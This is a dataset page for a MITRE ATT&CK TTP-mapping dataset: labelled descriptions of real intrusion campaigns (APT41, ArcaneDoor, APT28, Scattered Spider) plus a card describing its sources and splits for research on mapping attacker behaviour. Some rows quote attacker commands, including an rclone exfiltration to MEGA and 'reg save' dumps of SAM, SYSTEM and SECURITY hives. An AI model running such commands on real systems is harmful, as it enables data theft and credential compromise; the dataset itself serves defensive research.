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APT41 DUST collected data from victim Oracle databases using SQLULDR2.
T1213.006
APT41 DUST deleted various artifacts from victim systems following use.
T1070.004
APT41 DUST disguised DUSTPAN as a legitimate Windows binary such as `w3wp.exe` or `conn.exe`.
T1036.004
APT41 DUST exfiltrated collected information to OneDrive.
T1567.002
APT41 DUST involved access of external victim websites for target development.
T1594
APT41 DUST involved exporting data from Oracle databases to local CSV files prior to exfiltration.
T1074.001
APT41 DUST involved use of search engines to research victim servers.
T1593.002
APT41 DUST involved use of web shells such as ANTSWORD and BLUEBEAM for persistence.
T1505.003
APT41 DUST used Windows services to execute DUSTPAN.
T1569.002
APT41 DUST used infrastructure hosted behind Cloudflare or utilized Cloudflare Workers for command and control.
T1583.007
APT41 DUST used stolen code signing certificates to sign DUSTTRAP malware and components.
T1588.003
APT41 DUST used tools such as SQLULDR2 and PINEGROVE to gather local system and database information.
T1119
Although the X_TRADER platform was reportedly discontinued in 2020, it was still available for download from the legitimate Trading Technologies website in 2022. During the 3CX Supply Chain Attack, AppleJeus used a code signing certificate to digitally sign the malicious software with an expiration date set to October ...
T1553.002
ArcaneDoor abused WebVPN traffic to targeted devices to achieve unauthorized remote code execution.
T1190
ArcaneDoor command and control activity was conducted through HTTP.
T1071.001
ArcaneDoor featured the development and deployment of two unique malware types, Line Dancer and Line Runner.
T1587.001
ArcaneDoor included acquiring digital certificates mimicking patterns associated with Cisco ASA appliances for command and control infrastructure.
T1587.003
ArcaneDoor included collection of packet capture and system configuration information.
T1119
ArcaneDoor included collection of victim device configuration information.
T1082
ArcaneDoor included disabling logging on targeted Cisco ASA appliances.
T1690
ArcaneDoor included hooking the `processHostScanReply()` function on victim Cisco ASA devices.
T1014
ArcaneDoor included injecting code into the AAA and Crash Dump processes on infected Cisco ASA devices.
T1055
ArcaneDoor included interception of HTTP traffic to victim devices to identify and parse command and control information sent to the device.
T1557
ArcaneDoor included multiple instances of file deletion or removal during execution and other adversary actions.
T1070.004
ArcaneDoor included network packet capture and sniffing for data collection in victim environments.
T1040
ArcaneDoor included scripted exfiltration of collected data.
T1020
ArcaneDoor included the use of OpenConnect VPN Server instances for conducting actions on victim devices.
T1583.006
ArcaneDoor involved exploitation of CVE-2024-20353 to force a victim Cisco ASA to reboot, triggering the automated unzipping and execution of the Line Runner implant.
T1653
ArcaneDoor involved the use of digital certificates on adversary-controlled network infrastructure that mimicked the formatting used by legitimate Cisco ASA appliances.
T1036
ArcaneDoor modified the Authentication, Authorization, and Accounting (AAA) function of targeted Cisco ASA appliances to allow the threat actor to bypass normal AAA operations.
T1685
ArcaneDoor used WebVPN sessions commonly associated with Clientless SSLVPN services to communicate to compromised devices.
T1133
ArcaneDoor used malicious boot scripts to install the Line Runner backdoor on victim devices.
T1037
During 3CX Supply Chain Attack, AppleJeus has gained access to the 3CX corporate environment through legitimate VPN credentials.
T1078
During APT28 Nearest Neighbor Campaign, APT28 accessed volume shadow copies through executing vssadmin in order to dump the NTDS.dit file.
T1006
During APT28 Nearest Neighbor Campaign, APT28 added rules to a victim's Windows firewall to set up a series of port-forwards allowing traffic to target systems.
T1686.003
During APT28 Nearest Neighbor Campaign, APT28 collected information on wireless interfaces within range of a compromised system.
T1016.002
During APT28 Nearest Neighbor Campaign, APT28 compromised third-party infrastructure in physical proximity to targets of interest for follow-on activities.
T1584
During APT28 Nearest Neighbor Campaign, APT28 dumped NTDS.dit through creating volume shadow copies via vssadmin.
T1003.003
During APT28 Nearest Neighbor Campaign, APT28 established wireless connections to secure, enterprise Wi-Fi networks belonging to a target organization for initial access into the environment.
T1669
During APT28 Nearest Neighbor Campaign, APT28 exfiltrated data over public-facing webservers - such as Google Drive.
T1567
During APT28 Nearest Neighbor Campaign, APT28 staged captured credential information in the C:\ProgramData directory.
T1074.001
During APT28 Nearest Neighbor Campaign, APT28 used cmd.exe for execution.
T1059.003
During APT28 Nearest Neighbor Campaign, APT28 used PowerShell cmdlet Get-ChildItem to access credentials, among other PowerShell functions deployed.
T1059.001
During APT28 Nearest Neighbor Campaign, APT28 used built-in PowerShell capabilities (Compress-Archive cmdlet) to compress collected data.
T1560.001
During APT28 Nearest Neighbor Campaign, APT28 used the following commands to dump SAM, SYSTEM, and SECURITY hives: reg save hklm\sam, reg save hklm\system, and reg save hklm\security.
T1003.002
During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.
T1567.002
During C0015, the threat actors used the command `net localgroup "adminstrator" ` to identify accounts with local administrator rights.
T1069.001
During C0017, APT41 copied the `SAM` and `SYSTEM` Registry hives for credential harvesting.
T1003.002
During C0017, APT41 copied the local `SAM` and `SYSTEM` Registry hives to a staging directory.
T1074.001
During C0017, APT41 deployed JScript web shells on compromised systems.
T1059.007
During C0017, APT41 deployed JScript web shells through the creation of malicious ViewState objects.
T1505.003
During C0017, APT41 downloaded malicious payloads onto compromised systems.
T1105
During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.
T1048.003
During C0017, APT41 exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access.
T1190
During C0017, APT41 frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server.
T1001.003
During C0017, APT41 hex-encoded PII data prior to exfiltration.
T1560.003
During C0017, APT41 issued `ping -n 1 ((cmd /c dir c:\|findstr Number).split()-1+` commands to find the volume serial number of compromised systems.
T1680
During C0017, APT41 used VMProtect to slow the reverse engineering of malicious binaries.
T1027.002
During C0017, APT41 used `SCHTASKS /Change` to modify legitimate scheduled tasks to run malicious code.
T1036.004
During C0017, APT41 used `cmd.exe /c ping %userdomain%` for discovery.
T1016
During C0017, APT41 used `cmd.exe` to execute reconnaissance commands.
T1059.003
During C0017, APT41 used `whoami` to gather information from victim machines.
T1033
During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local `NT AUTHORITY\SYSTEM` privilege escalation.
T1134
During C0017, APT41 used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably APT41 updated the community forum posts frequently with new dead drop resolvers during the campaign.
T1102.001
During C0017, APT41 used file names beginning with USERS, SYSUSER, and SYSLOG for DEADEYE, and changed KEYPLUG file extensions from .vmp to .upx likely to avoid hunting detections.
T1036.005
During C0017, APT41 used its Cloudflare services C2 channels for data exfiltration.
T1041
During C0017, APT41 used the Cloudflare CDN to proxy C2 traffic.
T1090
During C0017, APT41 used the DUSTPAN loader to decrypt embedded payloads.
T1140
During C0018, AvosLocker was disguised using the victim company name as the filename.
T1036
During C0018, the threat actors downloaded additional tools, such as Mimikatz and Sliver, as well as Cobalt Strike and AvosLocker ransomware onto the victim network.
T1105
During C0018, the threat actors exploited VMWare Horizon Unified Access Gateways that were vulnerable to several Log4Shell vulnerabilities, including CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832.
T1190
During C0018, the threat actors opened a variety of ports to establish RDP connections, including ports 28035, 32467, 41578, and 46892.
T1021.001
During C0018, the threat actors opened a variety of ports, including ports 28035, 32467, 41578, and 46892, to establish RDP connections.
T1571
During C0018, the threat actors ran `nslookup` and Advanced IP Scanner on the target network.
T1016
During C0018, the threat actors transferred the SoftPerfect Network Scanner and other tools to machines in the network using AnyDesk and PDQ Deploy.
T1570
During C0018, the threat actors used AnyDesk to transfer tools between systems.
T1219.002
During C0018, the threat actors used Base64 to encode their PowerShell scripts.
T1027.010
During C0018, the threat actors used HTTP for C2 communications.
T1071.001
During C0018, the threat actors used PDQ Deploy to move AvosLocker and tools across the network.
T1072
During C0018, the threat actors used `rundll32` to run Mimikatz.
T1218.011
During C0018, the threat actors used encoded PowerShell scripts for execution.
T1059.001
During C0018, the threat actors used the SoftPerfect Network Scanner for network scanning.
T1046
During C0021, the threat actors downloaded additional tools and files onto victim machines.
T1105
During C0021, the threat actors sent phishing emails with unique malicious links, likely for tracking victim clicks.
T1566.002
During C0021, the threat actors used HTTP for some of their C2 communications.
T1071.001
During C0021, the threat actors used SSL via TCP port 443 for C2 communications.
T1573.002
During C0021, the threat actors used TCP for some C2 communications.
T1095
During C0021, the threat actors used `rundll32.exe` to execute the Cobalt Strike Beacon loader DLL.
T1218.011
During C0026, the threat actors downloaded malicious payloads onto select compromised hosts.
T1105
During C0026, the threat actors re-registered a ClouDNS dynamic DNS subdomain which was previously used by ANDROMEDA.
T1568
During C0026, the threat actors split encrypted archives containing stolen files and information into 3MB parts prior to exfiltration.
T1030
During C0026, the threat actors used WinRAR to collect documents on targeted systems. The threat actors appeared to only exfiltrate files created after January 1, 2021.
T1560.001
During C0027, Scattered Spider accessed Azure AD to download bulk lists of group members and their Active Directory attributes.
T1069.003
During C0027, Scattered Spider accessed Azure AD to download bulk lists of group members and to identify privileged users, along with the email addresses and AD attributes.
T1087.004
During C0027, Scattered Spider accessed Azure AD to identify email addresses.
T1087.003
During C0027, Scattered Spider accessed victim OneDrive environments to search for VPN and MFA enrollment information, help desk instructions, and new hire guides.
T1530
During C0027, Scattered Spider accessed victim SharePoint environments to search for VPN and MFA enrollment information, help desk instructions, and new hire guides.
T1213.002
During C0027, Scattered Spider directed victims to run remote monitoring and management (RMM) tools.
T1219.002
During C0027, Scattered Spider downloaded tools from sites including file.io, GitHub, and paste.ee.
T1102
During C0027, Scattered Spider downloaded tools using victim organization systems.
T1105
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MITRE ATT&CK TTP Mapping Dataset

Training and evaluation data for mapping adversarial behavior descriptions (CTI reports, CTF writeups, CISA advisories) to MITRE ATT&CK Tactics, Techniques, and Procedures (TTPs).

Built as my individual contribution to a research project conducted at LORIA (supervised by Jean-Yves Marion). This dataset was developed and used to fine-tune skyylord/qwen3-emb-0.6b-ttp with CachedMultipleNegativesRankingLoss and ANCE-style hard negative re-mining.

Note: Due to their security nature, these datasets contain textual information about malware and other security aspects.

Dataset summary

Each example pairs a short instruction (a natural-language description of an adversarial action — "the attacker used X to achieve Y") with the ground-truth MITRE ATT&CK technique it corresponds to. The dataset is built for contrastive retrieval training: given an instruction, retrieve the correct technique out of the full ATT&CK Enterprise matrix (697 techniques/sub-techniques, v19).

Dataset Description

Expert, TRAM, Procedure, Derived Procedure

These four splits originate from tumeteor/Security-TTP-Mapping, built for the NCE paper (see Citation). Summarized from their dataset card:

  • TRAM: sourced from CTID's TRAM project, then deduplicated, cleaned of short/noisy text and noisy labels, and remapped to ATT&CK by tumeteor.
  • Procedure: procedure examples pulled from MITRE's CTI repo, with markup stripped.
  • Derived Procedure: built by crawling the reference URLs cited by each procedure example and extracting the passages relevant to that example.
  • Expert: paragraphs drawn from a broader pool of threat reports and annotated by security practitioners; multi-label, with the test split averaging ~4 labels per example.

For Laika, these splits were additionally remapped from the ATT&CK version tumeteor originally used to ATT&CK v19 Enterprise, and re-split/re-processed to match the rest of this dataset's format. All credit for original collection, cleaning, and the train/dev/test partitioning goes to tumeteor and the NCE paper authors.

Groups, Software, Campaigns

Collected and processed by me directly from MITRE ATT&CK's own Groups, Software, and Campaigns pages (not a pre-existing dataset — MITRE publishes these as reference pages, not training-ready pairs). In MITRE's own framing:

  • Groups are adversary activity clusters tracked under a common name by the security community; each is mapped to its publicly-reported technique use, associated software, and campaigns.
  • Software covers tools, malware, and utilities (commercial, open-source, or built-in) used to carry out adversary behavior, mapped to the techniques and groups they've been reported with.
  • Campaigns are bounded-time intrusion activity sharing common targets/objectives, linked to the techniques, groups, and software involved where public reporting allows attribution. I converted these three pages into instruction/technique-label pairs for training.

CISA (held-out)

Scraped from published CISA cybersecurity advisories and processed into instruction/technique-label pairs. Used exclusively as a held-out evaluation set — never trained on.

CTF writeups (held-out)

A mix of my own CTF writeups and public writeups from 0xdf, processed by extracting the commands/actions used during each challenge and generating behavioral textual descriptions from them via an LLM, then labeling the result with the corresponding ATT&CK technique. The dataset contains only these derived behavioral descriptions, not the original writeup text. Held out — never trained on.

Configs / subsets

Dataset Source Role Size
expert NCE paper (Expert) train/val/test 461/67/157
tram NCE paper (TRAM) train/val/test 3346/582/703
procedure NCE paper (Procedure) train/val/test 8323/1451/1735
derived_procedure NCE paper (Derived Procedure) train/val/test 2463/482/507
campaigns Mitre Campaigns train/val/test 621/115/116
software Mitre Software train/val/test 2910/645/655
groups Mitre Groups train/val/test 1500/311/330
cisa CISA advisories held-out (eval only) 1535
ctf Custom CTF writeup corpus held-out (eval only) 102
mitre-enterprise-v19 MITRE ATT&CK v19 Enterprise reference corpus 697

Citation

If you use the expert, tram, procedure, or derived_procedure splits, please cite the original NCE paper, whose data these are built from:

@inproceedings{nguyen-srndic-neth-ttpm,
    title     = "Noise Contrastive Estimation-based Matching Framework for Low-resource Security Attack Pattern Recognition",
    author    = "Nguyen, Tu and Srndic, Nedim and Neth, Alexander",
    booktitle = "Proceedings of the 18th Conference of the European Chapter of the Association for Computational Linguistics",
    month     = mar,
    year      = "2024",
    publisher = "Association for Computational Linguistics"
}

If you use this dataset as a whole (including the groups/software/campaigns/cisa/ctf_writeups splits and the ATT&CK-v19 remapping):

@misc{laika-attack-ttp-dataset,
  author       = {Amine Akhlafa},
  title        = {Laika ATT&CK TTP Mapping Dataset},
  year         = {2026},
  publisher    = {Hugging Face},
  howpublished = {\url{https://huggingface.co/datasets/skyylord/mitre-attack-ttp-labeled-instructions}}
}

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